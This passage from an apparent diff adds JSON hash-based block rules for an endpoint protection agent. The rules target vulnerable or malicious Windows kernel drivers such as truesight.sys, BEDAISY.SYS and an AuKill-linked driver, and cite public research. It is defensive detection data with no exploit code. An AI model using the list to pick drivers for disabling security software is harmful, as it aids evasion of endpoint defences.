+  "hl_testing_start_time": "2026-03-23T11:45:29.605725Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f56db12cd91af1190611be06668b76f8456b8cbfd67b1b41e90a0aeeab61ebb0",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d1ee41bb-76ee-5d78-b3b5-2af43b5e7abf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812839Z",
+  "creation_date": "2026-03-23T11:45:31.812841Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812846Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "10d4da8b187122f5f1b1168fec9eda3fcd829d03a763953234230d4005611a7d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d1eebb4d-5dde-58d5-899b-e8ee5afb4f63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823749Z",
+  "creation_date": "2026-03-23T11:45:31.823751Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823756Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab540cd5d179dab65b26b519e0d42e785776349d2d1b847e8d2592c324d86249",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d1f90a58-55a1-5699-bb20-0cfe472cbf6a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982624Z",
+  "creation_date": "2026-03-23T11:45:29.982626Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982632Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "baa89ffd5255e5c72112ed57937353ae48a050c9af423cbde6b380978ecc235c",
+  "comment": "Vulnerable Kernel Driver (aka driver7-x86-withoutdbg.sys) [https://www.loldrivers.io/drivers/d9f2c3d6-160c-4eb3-8547-894fcf810342/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d1fbdc3f-d254-5880-ba10-57334da1519f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.158822Z",
+  "creation_date": "2026-03-23T11:45:31.158824Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.158830Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c58c16ad52d4f2ef42ee77c5e46aa315c8d412833b36ce54034a9a43c18f533",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d1ff7cab-69da-53e3-bf34-f3f0fe1bd8a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144464Z",
+  "creation_date": "2026-03-23T11:45:31.144466Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144471Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dadef39b191a5c4e4007a9720560d7e39b913b12556295fe11b3b0ca923a0e59",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2005d8f-7c42-5a45-b3bd-dac6934ff79b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832862Z",
+  "creation_date": "2026-03-23T11:45:30.832865Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832888Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e30a49fce3e7db881497882c0a846b8f9834acd7443f895b1d40eaaad5f87d0b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2229195-9c0d-57cc-af75-7ce8a31c0d27",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616922Z",
+  "creation_date": "2026-03-23T11:45:29.616923Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616929Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "846cc7c9bf2eab3400e66481568a010fb0dfbac01416a99258a4baabf1e10d35",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2249eee-afff-58b6-a4a3-81a4acfc1203",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620238Z",
+  "creation_date": "2026-03-23T11:45:29.620240Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620245Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "607dc4c75ac7aef82ae0616a453866b3b358c6cf5c8f9d29e4d37f844306b97c",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2287136-c99e-52e3-8252-aa56fd089000",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477666Z",
+  "creation_date": "2026-03-23T11:45:30.477669Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477679Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "828a18b16418c021b6c4aa8c6d54cef4e815efca0d48b9ff14822f9ccb69dff2",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d232e2e3-a3b0-5ea6-88c0-81ca9e6b3933",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620780Z",
+  "creation_date": "2026-03-23T11:45:29.620782Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620787Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b47be212352d407d0ef7458a7161c66b47c2aec8391dd101df11e65728337a6a",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d23ab5aa-cc19-5bc6-82b5-a074bc6c9317",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816283Z",
+  "creation_date": "2026-03-23T11:45:30.816285Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816291Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a450ae0c9258ab0ae64f126f876b5feed63498db729ec61d06ed280e6c46f67",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d23dce60-e7fb-52fd-9d64-54b57653d087",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495437Z",
+  "creation_date": "2026-03-23T11:45:31.495439Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495445Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ca64e58831171214a5f49d3c2ae83c46669b022c4bbb4ab4f49ab7ac0fc5fd67",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d25363fc-6497-5df1-b3ba-d6726bb6e4d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821982Z",
+  "creation_date": "2026-03-23T11:45:30.821984Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821990Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb3176deae54472750747167287284c3cda5e14248ee10844305f322adcb81cd",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d25af5ed-5ae9-5018-8992-65353fe7079b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459737Z",
+  "creation_date": "2026-03-23T11:45:30.459740Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459749Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6709a2d7925248fe172e9bc5495f45b9bb74060c43e1c58e671f0e6c434fd82b",
+  "comment": "Vulnerable Kernel Driver (aka test2.sys) [https://www.loldrivers.io/drivers/6356d7d9-3b82-4731-9d5f-cc9bc37558fc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d26f861f-e07a-59a8-8371-721a13f168fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490226Z",
+  "creation_date": "2026-03-23T11:45:31.490228Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490233Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f0ac2c9641ea50b272f1a2cb08a88ead32edb2de195df812449289be84f8c62f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d27183e2-c2de-5b8e-81c7-9ec653d0e0c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976742Z",
+  "creation_date": "2026-03-23T11:45:29.976745Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976754Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ef9e759f95645dbce0c49fe1e97838051a67c42995953778a651e3d8d017217",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d271e804-f286-57e3-89b6-59dada33c423",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159246Z",
+  "creation_date": "2026-03-23T11:45:31.159248Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159254Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79e7bcc95f41c982a31e879826379c810340acdd5c8edc1493e06fd46e4fa893",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d27fc381-1eb0-5e9c-ad63-fbcdca0e6641",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823918Z",
+  "creation_date": "2026-03-23T11:45:31.823921Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823929Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c04912772a57ed2d216458e80775cba8ef389b777beee0556128230b7ad5ced0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d28a4c5e-ccad-55f2-8977-d0c535df5171",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981111Z",
+  "creation_date": "2026-03-23T11:45:29.981113Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981119Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa21e3d2bfb9fafddec0488852377fbb2dbdd6c066ca05bb5c4b6aa840fb7879",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d29454b7-f813-5cb0-9adc-0f7fc6cfe15f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833507Z",
+  "creation_date": "2026-03-23T11:45:30.833510Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833519Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c007d8eb2f4a41275b9bc2850e37a40f699d2c94c4abce164ce236eaaf7ca7c0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d29b0584-ef2d-5ba9-a2bb-717e94786590",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146168Z",
+  "creation_date": "2026-03-23T11:45:31.146170Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "852e9260b9ee80f78ba23936fbb9e75eb7a841a9f9e486af65fcdac855884e64",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d2a3877c-5c78-595d-b0da-8b4af75129d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472344Z",
+  "creation_date": "2026-03-23T11:45:30.472348Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8d6ce1c86cbd616bb821698037f60a41e129d282a8d6f1f5ecdd37a9688f585",
